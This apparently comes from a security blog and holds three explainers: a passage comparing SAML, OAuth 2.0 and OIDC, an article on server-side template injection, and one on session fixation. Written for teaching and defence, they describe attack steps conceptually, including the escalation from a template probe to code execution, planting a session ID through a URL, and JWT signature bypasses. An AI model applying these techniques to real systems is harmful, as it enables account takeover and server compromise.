Trace a single sign-in to see how the pieces move. A user clicks "Sign in" on your web application, which is an OIDC relying party.
1. Your app builds an authorization request and redirects the browser to the provider's authorization endpoint. The request names your client, the scopes you want (starting with `openid`), a redirect URI the provider has on file for you, and two anti-abuse values: a random `state` and a random `nonce`. On public clients you also send a PKCE code challenge derived from a secret you keep.
2. The provider authenticates the user through whatever means it owns, a password, a passkey, a second factor, and shows a consent screen for the requested scopes if needed. Your application never sees the credentials.
3. The provider redirects the browser back to your redirect URI with a short-lived authorization code and the same `state` you sent. Your app checks that `state` matches what it stored, which ties the response to the request it actually made and blocks a cross-site request forgery on the callback.
4. Your app's server exchanges the code at the provider's token endpoint, presenting the PKCE code verifier. Because this call is server to server and the code is one-time and short-lived, an attacker who glimpsed the code in a redirect cannot replay it without the verifier.
5. The provider returns an ID token and, if you asked for API access, an access token. Your app validates the ID token: it checks the signature against the provider's published keys, that the issuer matches the expected provider, that the audience is your client, that the token has not expired, and that the `nonce` equals the one you sent. Only after all of those pass does your app treat the user as logged in and create its own session.
Every check in step five has a job. Skipping the signature check lets a forged token through. Skipping the audience check lets a token minted for a different application be replayed at yours. Skipping the `nonce` check reopens a replay window the `nonce` was added to close. The ID token is only trustworthy because you verified it, and an unverified ID token is worth nothing.
It is easy to conflate the two random values in an OIDC flow. The `state` parameter protects the redirect itself, tying the callback to the request your app started so an attacker cannot graft their own response onto a victim's session. The `nonce` protects the ID token, binding it to this specific authentication so a previously issued token cannot be replayed. Send both, store both, and check both. Dropping either one removes a distinct protection.
## How they compare
| Dimension | SAML | OAuth 2.0 | OIDC |
|---|---|---|---|
| Primary job | Federated SSO / authentication | Delegated authorization | Authentication on OAuth 2.0 |
| Data format | XML assertions | Opaque or JWT access tokens | JWT ID tokens |
| Era and origin | Mid-2000s, OASIS | 2012, IETF | 2014, OpenID Foundation |
| Best fit | Enterprise web SSO | API access delegation | Modern web, mobile, SPA login |
| Answers | Who is the user | What may the app do | Who is the user |
| Transport | Browser redirect + back channel | HTTPS redirects and token endpoint | Same as OAuth 2.0 |
Notice that SAML and OIDC answer the same question. Both do federated login. The difference is format and era: SAML speaks XML and dominates legacy enterprise, OIDC speaks JSON and JWTs and suits modern clients. OAuth 2.0 answers a genuinely different question, which is why pairing it with OIDC is so common.
## Which one to use
The choice is usually decided for you by what you must integrate with, so start there.
1. **You need users to log in to your app.** Reach for OIDC. It gives you a verifiable ID token, a discovery document, and broad library support across web, mobile, and single-page apps.
2. **You need your app to call another service's API on a user's behalf.** That is OAuth 2.0, using the authorization code flow with PKCE. Grant the narrowest scope that works.
3. **You must federate with an enterprise identity provider that speaks SAML.** Many corporate IdPs still lead with SAML, so integrate over SAML even if you would prefer OIDC. This is the most common reason to still choose SAML for new work.
4. **You are building both login and API access.** Use OIDC and OAuth 2.0 together. The same authorization server issues an ID token for identity and an access token for API calls in one flow.
Pick the protocol your identity provider speaks well, then pick the flow. For OAuth 2.0 and OIDC on browser and mobile clients, that flow is authorization code with PKCE. Avoid the implicit flow, which is deprecated for good security reasons.
For the threat side of getting these flows wrong, our Exploit Intelligence dashboard tracks live vulnerabilities in identity and SSO components, so you can see which SAML, OAuth, and OIDC implementation flaws are actually under active exploitation rather than merely theoretical.
## Tokens and assertions side by side
Each protocol carries identity or permission in a different container, and the containers have different rules.
| Token or assertion | Protocol | Says | Who should read it | Format |
|---|---|---|---|---|
| SAML assertion | SAML | Who the user is, plus attributes | The service provider | Signed XML |
| Access token | OAuth 2.0 | What the holder may do | The resource server (API) | Opaque or JWT |
| ID token | OIDC | Who the user is | The client that requested login | Signed JWT |
| Refresh token | OAuth 2.0 / OIDC | Authority to get new access tokens | The authorization server only | Opaque |
The audience rule is the thread running through the table. A SAML assertion is meant for a specific service provider. An access token is meant for a resource server and your client should treat it as opaque, never parsing it to learn about the user. An ID token is meant for your client, and a resource server should not accept it as an API credential. A refresh token is for the authorization server alone. Most token-confusion bugs are a token being read by a party it was never addressed to.
## Validation and detection
Whether you are building these flows or reviewing them, a handful of concrete checks separate a sound integration from a fragile one.
- **Verify every signature against the provider's current keys.** For OIDC and JWT-based tokens, fetch the signing keys from the discovery document's JWKS endpoint and check the token's key identifier. For SAML, validate the XML signature and confirm it covers the assertion you are trusting, not some unsigned wrapper around it.
- **Pin the issuer and the audience.** Reject any token whose issuer is not your expected provider or whose audience is not your application. A token valid for a different tenant or client must not authenticate a user at yours.
- **Enforce expiry and, for SAML, the assertion time window.** Check `exp` on JWTs and the `NotBefore` and `NotOnOrAfter` conditions on SAML assertions, with only a small clock-skew allowance.
- **Bind the response to the request.** Confirm the `state` on the OAuth or OIDC callback, and the `nonce` inside the ID token, match values your application generated and stored.
- **Watch for signature-stripping and algorithm confusion.** A JWT arriving with `alg` set to `none`, or an RS256 token that a naive verifier checks as HS256 using the public key as an HMAC secret, are classic bypasses. Reject unexpected algorithms outright.
- **Log token audience and issuer mismatches.** A spike in tokens presented to the wrong audience, or SAML assertions failing signature validation, is a signal worth alerting on, because it can indicate an attacker probing a confused-deputy path.
SAML rides on XML digital signatures, and validating them correctly is famously error-prone. Signature-wrapping attacks move the signed element while slipping an attacker-controlled assertion into a place the application reads but the signature does not cover. If you consume SAML, use a mature, maintained library, validate that the signature covers exactly the assertion you act on, and avoid hand-rolling the XML processing. This is the same parser-trust problem that makes XML a recurring source of authentication bypasses.
## How the three protocols evolved
The timeline explains why three overlapping standards coexist. SAML came out of the early-2000s enterprise web, when large organizations needed employees to reach many internal and vendor applications with one corporate login, and XML was the interchange format of that world. It solved federation well for server-rendered web apps and remains deeply embedded in corporate identity products.
OAuth arrived later to solve a different itch: the rise of third-party apps that wanted access to a user's data in another service without collecting the user's password. OAuth 1.0 addressed it with a signing scheme that was awkward to implement. OAuth 2.0 replaced that with a framework built around bearer tokens and TLS, trading the signing complexity for simpler flows that depend on the transport for protection. By design it stopped at authorization and said nothing about identity.
That silence is exactly what a wave of ad hoc "log in with" schemes tried to fill by misusing OAuth as if an access token proved identity, which produced real vulnerabilities. OpenID Connect was standardized to close the gap properly, layering a defined ID token, a UserInfo endpoint, and discovery on top of OAuth 2.0 so that authentication had a real, verifiable answer rather than a token being pressed into a job it was never meant for. The result is the current division: OIDC for who you are, OAuth 2.0 for what an app may do, and SAML holding the enterprise ground it has occupied for two decades.
## Frequently asked questions
**Is OIDC just OAuth 2.0 with extra steps?**
OIDC reuses OAuth 2.0's flows and endpoints, and it adds the piece OAuth deliberately omitted: a signed, verifiable statement of the user's identity in the form of an ID token, plus standard endpoints for discovery and profile claims. It is an identity layer on top of an authorization framework, so calling it OAuth with a defined authentication result is fair.
**Can I use a SAML assertion to authorize API calls?**
That is not its design. SAML assertions are for establishing a federated session at a service provider. Delegated API authorization is OAuth 2.0's job, using access tokens and scopes. Some gateways bridge the two, and the clean model keeps assertions for login and access tokens for API access.
**Why is the implicit flow discouraged?**
The implicit flow returned tokens directly in the browser redirect, exposing them in URLs and history and offering no code-exchange step to protect. The authorization code flow with PKCE is the current recommendation for browser and mobile clients because the sensitive exchange happens against the token endpoint with a proof only the legitimate client holds.
**Do I still need SAML for a new application?**
Only if you must federate with an identity provider that leads with SAML, which many enterprise IdPs still do. For a greenfield choice with no such constraint, OIDC covers login and OAuth 2.0 covers API access with better support across mobile and single-page clients.
**What actually goes wrong when someone treats an access token as a login?**
An access token is a bearer credential for an API and carries no reliable statement of who the user is. Code that decodes one and trusts its contents as identity can be fooled by a token minted for another application or another user, which is the confused-deputy pattern OIDC's audience-scoped ID token was created to prevent.
**Which protocol handles single logout?**
SAML has a defined single logout profile, though it is notoriously tricky to implement consistently across service providers. OIDC has its own session management and logout specifications. In practice, coordinated logout across many applications is one of the harder problems in federated identity regardless of protocol.
## The mistakes worth avoiding
Three errors account for most of the trouble. First, using an OAuth 2.0 access token as a login credential, which OIDC exists specifically to prevent. Second, skipping validation: an ID token you do not verify the signature, issuer, and audience on is worthless, and a SAML assertion whose XML signature you do not properly check has been the root of real authentication bypasses. Third, over-scoping: granting an app more permission than the task needs, so that a token leak becomes a much larger breach.
Get the question right first. Are you proving who the user is, or granting an app permission to act? That single question routes you to the correct protocol nearly every time, and the rest is implementation detail.
## Related guides
- [OAuth 2.0 Explained](/oauth-2-explained)
- [What Is a JWT](/what-is-a-jwt)
- [OAuth Attacks Explained](/oauth-attacks-explained)
- [Passkeys Explained](/passkeys-explained)
### Sources
- The OAuth 2.0 Authorization Framework (RFC 6749) (IETF): https://datatracker.ietf.org/doc/html/rfc6749
- OpenID Connect Core 1.0 (OpenID Foundation): https://openid.net/specs/openid-connect-core-1_0.html
- OWASP: Authentication Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
---
## Server-Side Template Injection: From Templates to RCE
> How SSTI works: user input reaching template engines, detecting the flaw, sandbox escapes to remote code execution, and how to template safely.
- URL: https://blog.pwnsy.com/server-side-template-injection-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: advanced
- Category: web-security
- Tags: ssti, web-security, rce, template-injection, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Server-side template injection happens when user input is fed into a template engine as template code instead of as data, so the attacker's input is evaluated on the server.
- Template engines are near programming languages, so injection frequently escalates from reading server data to full remote code execution.
- Detection uses simple expression probes: if a template like the sum of two numbers is evaluated and returns their product, input is reaching the engine.
- The engine's built-in sandbox is a speed bump, not a boundary; published escapes reach dangerous objects, so the real fix is to never build templates from user input.
### Key Takeaways
- SSTI is distinct from cross-site scripting: XSS runs in the victim's browser, SSTI runs on your server, which is why its ceiling is remote code execution.
- The root cause is string-concatenating user input into a template, rather than passing it as bound data to a fixed template.
- Each engine has its own syntax and its own escape chain, so exploitation is engine-specific once the engine is identified.
- Template sandboxes have a long history of being escaped and should never be relied on as the sole control.
- The durable fix is to keep templates static, pass user input only as data through the engine's context, and prefer logic-less templating for untrusted content.
Template engines exist to mix fixed layout with dynamic data. You write a template with placeholders, the engine fills the placeholders with values, and out comes a page or an email. The engine treats the template as code and the values as data. Server-side template injection, SSTI, is what happens when user input crosses that line and lands in the template as code, where the engine evaluates it on the server.
The reason SSTI is treated as a top-tier bug is the nature of template engines. They are not simple string replacers; they support expressions, object access, and method calls. Once an attacker's input is being evaluated by one, the path from a curious probe to running arbitrary commands on the server is often short.
## The mistake that causes it
The safe way to use a template engine is to load a fixed template and pass user data into it as bound values. The engine keeps the template and the data separate.
The unsafe way is to build the template string itself out of user input, usually by concatenation. Consider a feature that personalises a greeting by inserting a name directly into the template source rather than into the rendering context. Whatever the user types becomes part of the template the engine compiles and evaluates. If they type template syntax, the engine runs it.
```
render("Hello " + userName) // userName is compiled as template code
render("Hello {{ name }}", {name}) // userName is passed as data, safe
```
The first line is the whole vulnerability. User input is being parsed as template language. The second passes the same input as a bound value, which the engine escapes and never executes.
## SSTI is not XSS
The two are easy to confuse because both involve untrusted input reaching output, but they execute in different places and have different ceilings.
| | Cross-site scripting | Server-side template injection |
|---|---|---|
| Where code runs | Victim's browser | Your server |
| Language evaluated | HTML and JavaScript | The template engine's expression language |
| Worst case | Session theft, actions as the victim | Remote code execution on the server |
| Root cause | Unescaped output in the page | User input compiled as template code |
Because SSTI runs server-side, its worst case is not stealing a session; it is owning the host. On MITRE ATT&CK this fits exploitation of a public-facing application, [T1190](https://attack.mitre.org/techniques/T1190/), when the injection reaches code execution.
## How it is detected
Finding SSTI starts with a mathematical probe rather than an HTML one. If injecting a template expression that multiplies or adds two numbers causes the response to contain the computed result, the input is being evaluated by an engine. A response that echoes the literal text means it is being treated as data; a response that shows the arithmetic result means it is being executed.
From there the tester identifies which engine is in play, because syntax differs between them. Curly-brace expressions, percent tags, and dollar-brace forms point at different engines, and the follow-on payloads are engine-specific. Once the engine is known, the tester walks its object model to reach useful capabilities.
## From expression to remote code execution
The escalation is a walk through the language's own object graph. Template expression languages can usually access an object's attributes and methods, and from a starting object an attacker can often navigate to base classes, then to imported modules, then to functions that read files or spawn processes. What begins as evaluating a small expression turns into calling the runtime's process or file APIs.
This is why SSTI is grouped with the most serious server-side flaws. The pattern of untrusted input driving server-side execution is shared with command injection and unsafe deserialization, and the defensive mindset carries across all three. See [Command Injection Explained](/command-injection-explained) and [Insecure Deserialization Explained](/insecure-deserialization-explained) for the neighbouring cases.
Several template engines ship a sandbox mode meant to restrict what expressions can reach. Treat it as hardening, never as the control that keeps you safe. These sandboxes have a long, public history of being escaped, because the expression language exposes enough of the object model to eventually reach a forbidden capability by an indirect route. If your safety depends on the sandbox holding, one published escape is full remote code execution. Keep untrusted input out of the template entirely.
## Why filtering payloads does not work
Blocking specific characters or keywords in input is a losing effort here. Each engine has a rich syntax with many equivalent ways to express the same access, and the object graph offers many routes to the same dangerous function. Filtering the braces of one engine ignores the tags of another, and stripping one keyword leaves ten synonyms. As with the other injection classes, the attacker needs a single path the filter forgot.
The problem is not that the input contained bad characters. It is that user input was compiled as code at all. Fix that, and there is no payload to filter. For the broader discipline of handling untrusted input, see the [Input Validation Guide](/input-validation-guide).
## How to defend against SSTI
Keep the template and the data on opposite sides of a line the attacker cannot cross.
1. **Never build templates from user input.** Templates should be static assets defined by developers. User input enters only as bound data passed into the rendering context, never concatenated into the template source. This single rule eliminates the vulnerability.
2. **Pass untrusted data as context values.** Use the engine's parameter binding so values are escaped and treated as data. If you find yourself constructing template strings at runtime from request data, stop and redesign.
3. **Prefer a logic-less template engine for untrusted content.** Engines that support little or no expression evaluation give an attacker nothing to reach even if input leaks into a template. Choose these where users influence templated output, such as themes or notifications.
4. **Do not rely on the sandbox.** If an engine offers a sandbox, enable it as one layer, but do not treat it as the boundary. Assume it can be escaped and put the real control on keeping input out of templates.
5. **Run the renderer with least privilege.** Render in a low-privilege, isolated context so that if execution is reached, the blast radius is contained. Segmentation and dropped privileges limit what a successful escape can do.
6. **Validate and constrain any input that must influence templates.** Where users genuinely need to affect layout, offer a fixed set of choices or a strict schema rather than free-form template text.
The one-line mental model for avoiding SSTI is to keep user input in the rendering context and out of the template source. A static template plus bound data is safe by construction, because the engine only ever executes code the developer wrote. The moment request data is concatenated into a template string, you have handed the attacker your server's expression language.
## Where SSTI tends to appear
The bug follows a specific design temptation, so it clusters in predictable features. Knowing where to look shortens both testing and review.
The most common home is user-customisable output. Any feature that lets a user shape how something is rendered invites a developer to build a template from that user's input. Email and notification templates are a frequent example, where an administrator or user edits a message body that the server then renders with dynamic values. If that editable body is compiled as a template, the editor controls template code.
A second home is personalisation that inserts a value into a template source rather than into the rendering context. A greeting that puts a name directly into the template string, a subject line assembled by concatenation, or a document generated from a user-supplied layout all cross the line from data to code. The feature looks harmless because it only inserts a name or a title, and the mistake is that the insertion happens in the template rather than in the data passed to it.
A third home is any place that stores template fragments and later renders them with request data mixed in. Content management features, theme systems, report builders, and dashboard widgets often let users provide snippets. When those snippets are rendered by a full-featured engine, the snippet author has an expression language on the server.
The common signal in all three is the same design decision seen from different angles: the template string is being constructed from input that a user can influence. Wherever a feature description includes the words custom, template, theme, or layout, check whether the customisation lands in the template source or stays as bound data.
## A worked example: from probe to object graph
Walk the tester's path from first suspicion to a foothold, staying at the level of mechanism so it applies across engines. A page reflects a value you control, say a name field, back into the response. The first question is whether that value is being rendered as data or evaluated as template code.
The probe is arithmetic, not markup. Submit an expression that an engine would evaluate to a number a plain string could not, for example a small multiplication written in the candidate engine's expression syntax. If the response contains the literal text you sent, the input is being treated as data and there is no injection at that point. If the response contains the computed product, the engine evaluated your input, and you have server-side template injection.
The next step is fingerprinting the engine, because every engine has its own syntax and its own escape chain. Different bracket styles, tag styles, and comment styles evaluate under one engine and error under another. Sending a small set of expressions and watching which produce results, which produce errors, and what those errors look like narrows the field to a specific engine.
With the engine known, exploitation becomes a walk through its object model. Expression languages typically let you read an object's attributes and call its methods. From an ordinary starting object, a tester navigates to its class, from the class to base classes, from there to loaded modules, and from a module to a function that reads files or spawns a process. Each hop uses only the language's legitimate reflection and attribute access. The endpoint is a call into the runtime's file or process interface, which is remote code execution. The important point is that no step is a trick the engine forbids; the engine is doing exactly what it was built to do, and the flaw was letting attacker input become the expression at all.
## Detection signals: finding and confirming SSTI
SSTI hides among ordinary reflected values, so detection combines targeted probing with error and behaviour analysis.
- **Arithmetic evaluation.** The definitive signal is an expression that evaluates to a value a plain string cannot. If a template expression that multiplies two numbers returns their product in the response, the input reached an engine. This is the single most reliable probe.
- **Engine-specific syntax responses.** Send expressions in several engines' syntaxes and observe which evaluate and which are echoed. The pattern of what runs and what errors identifies the engine and confirms evaluation.
- **Distinctive template errors.** Malformed expressions often produce engine-specific error messages or stack traces. An error that names a template engine, a template compilation step, or an expression parser is strong evidence that input is being compiled as template code.
- **Reflection points that differ from XSS behaviour.** A value that renders inertly as HTML but transforms when given template syntax points at server-side evaluation rather than browser-side rendering. If braces or tags are being interpreted before the response leaves the server, that is the engine.
- **Code review for the root cause.** In source, search for template rendering calls whose template argument is built from request data by concatenation or interpolation, rather than a fixed template file with data passed as context. That construction is the vulnerability, and finding it in code is more certain than any black-box probe.
Confirming SSTI can tip immediately into code execution, because the same object walk that proves the bug is the path to running commands. When testing systems you are authorised to assess, stop at the least intrusive proof that settles the question, an arithmetic evaluation, rather than reaching for a process-spawning payload. The math probe proves evaluation without touching the host, which is all a finding needs.
## SSTI among related server-side flaws
SSTI belongs to a family where untrusted input drives server-side execution. Placing it next to its neighbours clarifies what is specific to it.
| Flaw | What is confused | The interpreter | Root fix |
|---|---|---|---|
| Server-side template injection | Data treated as template code | The template engine | Keep templates static, pass input as context data |
| Command injection | Data treated as shell syntax | The system shell | Pass arguments to APIs, never build shell strings |
| SQL injection | Data treated as query syntax | The database | Parameterised queries, bound values |
| Insecure deserialization | Data treated as object state and behaviour | The deserializer | Do not deserialize untrusted data, or constrain types |
| Cross-site scripting | Data treated as page markup or script | The victim's browser | Contextual output encoding |
The unifying mistake across the server-side rows is the same: input that should be inert data is handed to an interpreter that treats it as instructions. SSTI is the case where the interpreter is a template engine, and because template engines expose expressions, attribute access, and method calls, the reachable ceiling is code execution on the server. The defensive instinct that works for all of them is to keep a firm boundary between the code the developer wrote and the data the user supplied.
## Common misconceptions
**SSTI is a kind of XSS.** They share the shape of untrusted input reaching output, and they run in different places with different ceilings. XSS runs in the victim's browser; SSTI runs on your server, so its worst case is host compromise rather than session theft. Treating SSTI as merely an output-encoding problem misses that it is server-side code execution.
**Escaping output prevents SSTI.** Output encoding defends against XSS by neutralising markup in the rendered page. SSTI happens earlier, when the engine compiles attacker input as template code, before any output encoding applies. The fix is upstream: do not let input become the template.
**The engine's sandbox makes it safe.** Sandboxes are hardening with a long public history of being escaped, because the expression language exposes enough of the object model to reach a forbidden capability by an indirect route. A design whose safety depends on the sandbox holding is one published escape away from full compromise.
**Filtering dangerous characters solves it.** Each engine offers many equivalent ways to express the same access, and the object graph offers many routes to the same function. Blocking braces of one engine ignores the tags of another, and stripping a keyword leaves synonyms. The attacker needs one route the filter forgot.
**Only certain engines are affected.** Any engine that compiles a template from a string is exploitable when that string includes user input. The syntax and the escape chain differ by engine, and the underlying mistake, compiling untrusted input as a template, is engine-independent.
## How it evolved
Template engines grew powerful to make dynamic pages and emails easy to build, adding expressions, filters, attribute access, and method calls. That power is what turns an injection into code execution. As applications increasingly let users influence templated output, through themes, email templates, dashboards, and notification formats, the temptation to build templates from user input grew, and with it the attack surface.
Security researchers formalised the class by showing that a simple evaluation probe reliably reveals it and that the escalation follows the engine's own object model to code execution. The methodology became standard: detect with an arithmetic probe, fingerprint the engine, then walk the object graph. Defensive guidance converged on a single durable rule, keep templates static and pass user input only as bound context data, because every attempt to filter payloads or lean on a sandbox eventually met a bypass. The lasting lesson mirrors the other injection classes: the fix is architectural, at the boundary between code and data, rather than a filter on the input.
## Frequently asked questions
**How is SSTI different from XSS in one sentence?**
XSS executes in the victim's browser and tops out at actions as the victim, while SSTI executes on your server and tops out at remote code execution on the host.
**What is the safest way to confirm SSTI?**
An arithmetic evaluation probe. If a template expression that multiplies two numbers returns the product, input is being evaluated. It proves the bug without touching the host, which is the least intrusive confirmation.
**Can I rely on the engine's sandbox mode?**
No, not as the boundary. Enable it as one layer of hardening, and assume it can be escaped, because these sandboxes have repeatedly been escaped. Put the real control on keeping untrusted input out of templates.
**Why does character filtering not fix SSTI?**
Because the problem is that input was compiled as code at all, not that it contained particular characters. Engines offer many equivalent syntaxes and the object graph offers many routes, so a blocklist always leaves a path. Remove the compilation of untrusted input and there is nothing to filter.
**What does the real fix look like in code?**
Load a fixed template defined by developers, and pass user input only as bound values into the rendering context, never concatenated into the template string. A static template plus bound data is safe by construction, because the engine only ever executes code the developer wrote.
**Is a logic-less template engine worth using?**
Where users influence templated output, yes. An engine with little or no expression evaluation gives an attacker nothing to reach even if input leaks into a template, which shrinks the ceiling dramatically compared with a full-featured engine.
**How do I limit damage if execution is reached anyway?**
Render in a low-privilege, isolated context so a successful escape has a small blast radius. Segmentation and dropped privileges do not prevent SSTI, and they contain what a foothold can reach, which matters when the primary control fails.
**Where should I look first when reviewing for SSTI?**
Features described as custom, template, theme, layout, or notification, where user input might shape rendered output. In source, find rendering calls whose template argument is built from request data by concatenation. That construction is the vulnerability, and it is faster to spot in code than to find by probing.
**Does SSTI only lead to code execution, or are there lesser impacts?**
Even without reaching code execution, an attacker who can evaluate expressions can often read server-side data, configuration, and objects reachable through the engine's context. That information disclosure is serious on its own, and it is usually a stepping stone toward the full object walk to execution.
Server-side template injection is what happens when a tool built to separate code from data is used in a way that merges them. The engine does exactly what it is designed to do, evaluate the template it is given, and the flaw is that the template was partly written by the attacker. Keep templates static, pass user input only as bound context data, choose a logic-less engine for untrusted content, and never lean on the sandbox alone. To see how the payloads that ride these bugs are structured, see our Exploit Intelligence dashboard, and for the wider category, the [OWASP Top 10](/owasp-top-10-explained).
## Related guides
- [Command Injection Explained](/command-injection-explained)
- [Insecure Deserialization Explained](/insecure-deserialization-explained)
- [Input Validation Guide](/input-validation-guide)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- PortSwigger Web Security Academy: Server-Side Template Injection (PortSwigger): https://portswigger.net/web-security/server-side-template-injection
- OWASP Testing Guide: Testing for Server-Side Template Injection (OWASP): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection
- MITRE ATT&CK: Exploitation for Client Execution / Server (T1190) (MITRE): https://attack.mitre.org/techniques/T1190/
---
## Session Fixation Explained: Forcing a Known Session ID
> How session fixation works: an attacker plants a session ID, the victim logs in with it, and the attacker inherits the session. Plus the fix.
- URL: https://blog.pwnsy.com/session-fixation-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: session-fixation, web-security, authentication, session-management, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Session fixation plants a session ID the attacker already knows, then waits for the victim to authenticate it, so the attacker ends up sharing a logged-in session.
- It works only when an application keeps the same session ID before and after login, letting a pre-login token carry over into an authenticated one.
- The attacker sets the token through a URL parameter, a cross-site scripting write, or a crafted cookie, then sends the victim to log in normally.
- The complete fix is one line of discipline: regenerate the session ID at login and at every privilege change, so any pre-login token becomes worthless.
### Key Takeaways
- Fixation is the mirror of hijacking: instead of stealing a token the victim has, the attacker plants one they already know.
- The root cause is an application that reuses the pre-authentication session ID after a successful login.
- Accepting session IDs from URL parameters makes fixation far easier and should be disabled outright.
- Regenerating the session ID on login is the single control that closes the attack, and it also hardens against hijacking replay.
- SameSite cookies, the HttpOnly flag, and tight session timeouts remove the common ways an attacker plants or reuses the fixed token.
Most session attacks steal a token that already belongs to the victim. Session fixation runs the idea in reverse. The attacker chooses a session identifier first, gets the victim to log in while carrying it, and then uses that same identifier to share the victim's authenticated session. The victim does the authentication; the attacker keeps the result.
It is a subtle bug because nothing looks stolen. The victim types their real password into the real site over a real connection. The flaw is that the application trusts a session ID it should have thrown away.
## The one condition that makes it possible
Session fixation depends on a single application behaviour: the session ID stays the same across the login boundary. If the token you carry as an anonymous visitor is the same token you carry after authenticating, then anyone who knew the pre-login token now holds a valid post-login session.
A correctly built application issues a brand new session ID the moment a user authenticates. The pre-login token is discarded and can never be upgraded to an authenticated one. When that regeneration is missing, fixation becomes possible.
## How the attack runs
The attack has three moves.
1. **Obtain a valid session ID.** The attacker visits the target application and receives a session token like any anonymous visitor. It is not authenticated yet, but the application already recognises it.
2. **Plant that token in the victim's browser.** The attacker forces the victim to adopt the same session ID before they log in.
3. **Wait for the victim to authenticate.** The victim logs in normally. If the application reuses the pre-login ID, the token the attacker planted is now attached to the victim's authenticated session. The attacker presents the same token and is logged in as the victim.
The interesting step is planting the token. Attackers have a few routes.
**URL parameters.** Some applications accept the session ID from the query string, for example a link ending in `;jsessionid=` or a `?sid=` parameter. The attacker emails or posts a link with a session ID they chose. Anyone who clicks it adopts that ID. This is the classic and easiest fixation vector, which is why accepting session IDs from URLs is discouraged so strongly.
**Cross-site scripting.** If the site has an XSS flaw, the attacker's script can write the cookie directly, setting the victim's session ID to a known value.
**A crafted cookie.** In some setups an attacker can set a cookie for the target domain from a related subdomain or through a meta tag, fixing the value before login.
## Fixation versus hijacking
The two attacks are close cousins and share most of their defenses, so it helps to hold the difference clearly.
| | Session hijacking | Session fixation |
|---|---|---|
| What the attacker does | Steals a token the victim already holds | Plants a token the victim then authenticates |
| When it happens | After the victim is logged in | Before the victim logs in |
| How the token is obtained | XSS, interception, malware | URL parameter, XSS write, crafted cookie |
| Core fix | Protect the token from theft | Regenerate the token at login |
The full mechanics of the theft-based version are covered in [Session Hijacking Explained](/session-hijacking-explained). The good news is that the one control that stops fixation, regeneration at login, also limits how long any hijacked token stays valid, so the effort pays off twice.
Session fixation leaves no visible trace for the user. They visit the genuine site, log in with their genuine password, and everything works. There is no phishing page and no credential theft to notice. The compromise lives entirely in the server's decision to keep an old session ID, which is why the fix has to be on the server, not in user awareness.
## Why input filtering does not help here
There is no malicious payload to filter. The session ID the attacker plants is a perfectly valid token the application itself issued. Blocking odd-looking values does nothing, because the value is legitimate. The only thing that neutralises it is invalidating that token at the moment authentication succeeds, so its pre-login identity cannot survive into an authenticated one.
This is also why fixation belongs to the broader family of identification and authentication failures in the [OWASP Top 10](/owasp-top-10-explained). The weakness is in how identity is bound to a session, not in any single tainted input.
## Where JWT-based sessions fit
Applications that carry session state in a JSON Web Token face a related version of the problem. The token is issued at login, so the natural design already mints a fresh credential at authentication, which sidesteps classic fixation. The risks shift to how that token is signed, validated, and expired, and to whether a pre-login token can be reused. See [JWT Attacks Explained](/jwt-attacks-explained) for those specifics.
## A worked example, step by step
Following the attack through once, conceptually and without working exploit code, makes the abstract three-move sequence concrete and shows exactly where the fix lands.
An application accepts a session identifier from the URL, using a parameter like `?sid=`. This is the setup that makes fixation easy. The attacker visits the site as an anonymous user and receives a session token, or simply chooses a valid-looking identifier the application will accept. Call that value the fixed identifier. It is not authenticated to anyone yet, but the application already recognizes it as a session.
The attacker now crafts a link to the real site that carries the fixed identifier in the URL, and delivers it to the victim through email, a forum post, or a message. The link points at the genuine application, so nothing about it looks suspicious to someone who trusts the domain. When the victim clicks, their browser adopts the fixed identifier as their session for that site.
The victim then logs in normally. They see the real login page on the real domain, type their real password, and authenticate successfully. Here is the flaw: if the application keeps the same session identifier across the login boundary, the fixed identifier the attacker chose is now attached to the victim's authenticated session. The victim's successful login upgraded the attacker's known token.
The attacker, who has known the fixed identifier all along, now presents it to the application. The server looks it up, finds an authenticated session belonging to the victim, and serves the victim's account. The attacker never stole anything and never phished a password. They simply knew, in advance, the identifier that the victim's own login would authenticate.
The single broken assumption in the whole sequence is that the post-login session keeps the pre-login identifier. Regenerating the session identifier at the moment authentication succeeds breaks precisely that assumption. The identifier the attacker fixed is discarded the instant the victim logs in, the victim receives a fresh identifier the attacker never saw, and the attacker's known token points at nothing. One action, placed at the login boundary, removes the entire attack.
## Why the fix has to live on the server
It is tempting to look for a client-side or network defense, and it helps to see why those do not solve fixation.
Input filtering does not apply, because the planted token is a valid identifier the application itself issued. There is no malicious string to detect. Blocking odd input does nothing when the input is legitimate.
Transport encryption does not apply, because the victim's login genuinely happens over an encrypted connection to the real site. Nothing is intercepted. The token was planted before the secure login, not stolen during it.
User awareness does not apply, because the victim sees nothing wrong. They visit the genuine domain, see the genuine login page, and enter their genuine password. There is no phishing page to recognize and no warning sign to heed.
That leaves the server. The decision to keep or discard the pre-login identifier is made server-side, at the moment authentication succeeds, and that is the only place the attack can be neutralized. This is why every serious remediation for fixation is a server behavior, and why session regeneration at login is described as the complete fix rather than one control among many.
## How fixation fits the OWASP picture
Session fixation belongs to the broader family of identification and authentication failures in the [OWASP Top 10](/owasp-top-10-explained), catalogued under [A07 Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/). The reason it sits there rather than among injection or access-control flaws is that the weakness is in how identity is bound to a session. The application authenticates the user correctly and then binds that authenticated identity to a session identifier that an outsider already knew. The bug is in the binding step, not in the credential check.
